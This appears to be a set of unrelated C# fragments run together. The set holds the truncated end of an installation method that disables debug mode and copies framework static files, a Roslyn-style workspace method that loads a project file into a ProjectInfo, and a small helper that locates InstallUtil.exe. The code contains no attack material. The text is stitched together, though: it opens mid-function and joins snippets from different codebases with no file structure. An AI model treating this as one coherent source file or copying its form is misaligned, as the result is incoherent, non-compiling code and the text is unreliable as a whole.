EwlStatics.CombinePaths(webAppPath, WebApplication.WebConfigFileName); File.WriteAllText(webConfigPath, File.ReadAllText(webConfigPath).Replace("debug=\"true\"", "debug=\"false\"")); } if (installation.DevelopmentInstallationLogic.SystemIsEwl) { IoMethods.CopyFolder( EwlStatics.CombinePaths(installation.GeneralLogic.Path, EwlStatics.CoreProjectName, StaticFile.FrameworkStaticFilesSourceFolderPath), EwlStatics.CombinePaths(serverSideLogicFolderPath, InstallationFileStatics.WebFrameworkStaticFilesFolderName), false); IoMethods.DeleteFolder( EwlStatics.CombinePaths( serverSideLogicFolderPath, InstallationFileStatics.WebFrameworkStaticFilesFolderName, AppStatics.StaticFileLogicFolderName)); } else { var frameworkStaticFilesFolderPath = EwlStatics.CombinePaths( installation.GeneralLogic.Path, InstallationFileStatics.WebFrameworkStaticFilesFolderName); if (Directory.Exists(frameworkStaticFilesFolderPath)) { IoMethods.CopyFolder( frameworkStaticFilesFolderPath, EwlStatics.CombinePaths(serverSideLogicFolderPath, InstallationFileStatics.WebFrameworkStaticFilesFolderName), false); } } }
private async Task <ProjectId> LoadProjectAsync(string projectFilePath, IProjectFileLoader loader, bool preferMetadata, LoadState loadedProjects, CancellationToken cancellationToken) { Debug.Assert(projectFilePath != null); Debug.Assert(loader != null); var projectId = loadedProjects.GetOrCreateProjectId(projectFilePath); var projectName = Path.GetFileNameWithoutExtension(projectFilePath); var projectFile = await loader.LoadProjectFileAsync(projectFilePath, _properties, cancellationToken).ConfigureAwait(false); var projectFileInfo = await projectFile.GetProjectFileInfoAsync(cancellationToken).ConfigureAwait(false); var projectDirectory = Path.GetDirectoryName(projectFilePath); var outputFilePath = projectFileInfo.OutputFilePath; var outputDirectory = Path.GetDirectoryName(outputFilePath); VersionStamp version; if (!string.IsNullOrEmpty(projectFilePath) && File.Exists(projectFilePath)) { version = VersionStamp.Create(File.GetLastWriteTimeUtc(projectFilePath)); } else { version = VersionStamp.Create(); } // translate information from command line args var commandLineParser = _workspace.Services.GetLanguageServices(loader.Language).GetService <ICommandLineParserService>(); var metadataService = _workspace.Services.GetService <IMetadataService>(); var analyzerService = _workspace.Services.GetService <IAnalyzerService>(); var commandLineArgs = commandLineParser.Parse( arguments: projectFileInfo.CommandLineArgs, baseDirectory: projectDirectory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); var resolver = new RelativePathReferenceResolver(commandLineArgs.ReferencePaths, commandLineArgs.BaseDirectory); var metadataReferences = commandLineArgs.ResolveMetadataReferences(new AssemblyReferenceResolver(resolver, metadataService.GetProvider())); var analyzerLoader = analyzerService.GetLoader(); foreach (var path in commandLineArgs.AnalyzerReferences.Select(r => r.FilePath)) { analyzerLoader.AddDependencyLocation(path); } var analyzerReferences = commandLineArgs.ResolveAnalyzerReferences(analyzerLoader); var defaultEncoding = commandLineArgs.Encoding; // docs & additional docs var docFileInfos = projectFileInfo.Documents.ToImmutableArrayOrEmpty(); var additionalDocFileInfos = projectFileInfo.AdditionalDocuments.ToImmutableArrayOrEmpty(); // check for duplicate documents var allDocFileInfos = docFileInfos.AddRange(additionalDocFileInfos); CheckDocuments(allDocFileInfos, projectFilePath, projectId); var docs = new List <DocumentInfo>(); foreach (var docFileInfo in docFileInfos) { string name; ImmutableArray <string> folders; GetDocumentNameAndFolders(docFileInfo.LogicalPath, out name, out folders); docs.Add(DocumentInfo.Create( DocumentId.CreateNewId(projectId, debugName: docFileInfo.FilePath), name, folders, projectFile.GetSourceCodeKind(docFileInfo.FilePath), new FileTextLoader(docFileInfo.FilePath, defaultEncoding), docFileInfo.FilePath, docFileInfo.IsGenerated)); } var additionalDocs = new List <DocumentInfo>(); foreach (var docFileInfo in additionalDocFileInfos) { string name; ImmutableArray <string> folders; GetDocumentNameAndFolders(docFileInfo.LogicalPath, out name, out folders); additionalDocs.Add(DocumentInfo.Create( DocumentId.CreateNewId(projectId, debugName: docFileInfo.FilePath), name, folders, SourceCodeKind.Regular, new FileTextLoader(docFileInfo.FilePath, defaultEncoding), docFileInfo.FilePath, docFileInfo.IsGenerated)); } // project references var resolvedReferences = await this.ResolveProjectReferencesAsync( projectId, projectFilePath, projectFileInfo.ProjectReferences, preferMetadata, loadedProjects, cancellationToken).ConfigureAwait(false); // add metadata references for project refs converted to metadata refs metadataReferences = metadataReferences.Concat(resolvedReferences.MetadataReferences); // if the project file loader couldn't figure out an assembly name, make one using the project's file path. var assemblyName = commandLineArgs.CompilationName; if (string.IsNullOrWhiteSpace(assemblyName)) { assemblyName = Path.GetFileNameWithoutExtension(projectFilePath); // if this is still unreasonable, use a fixed name. if (string.IsNullOrWhiteSpace(assemblyName)) { assemblyName = "assembly"; } } // make sure that doc-comments at least get parsed. var parseOptions = commandLineArgs.ParseOptions; if (parseOptions.DocumentationMode == DocumentationMode.None) { parseOptions = parseOptions.WithDocumentationMode(DocumentationMode.Parse); } // add all the extra options that are really behavior overrides var compOptions = commandLineArgs.CompilationOptions .WithXmlReferenceResolver(new XmlFileResolver(projectDirectory)) .WithSourceReferenceResolver(new SourceFileResolver(ImmutableArray <string> .Empty, projectDirectory)) .WithMetadataReferenceResolver( new AssemblyReferenceResolver( new RelativePathReferenceResolver(ImmutableArray <string> .Empty, projectDirectory), MetadataFileReferenceProvider.Default)) .WithStrongNameProvider(new DesktopStrongNameProvider(ImmutableArray.Create(projectDirectory, outputFilePath))) .WithAssemblyIdentityComparer(DesktopAssemblyIdentityComparer.Default); loadedProjects.Add( ProjectInfo.Create( projectId, version, projectName, assemblyName, loader.Language, projectFilePath, outputFilePath, compilationOptions: compOptions, parseOptions: parseOptions, documents: docs, projectReferences: resolvedReferences.ProjectReferences, metadataReferences: metadataReferences, analyzerReferences: analyzerReferences, additionalDocuments: additionalDocs, isSubmission: false, hostObjectType: null)); return(projectId); }
private static string GetInstallUtilLocation() { return(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "InstallUtil.exe")); }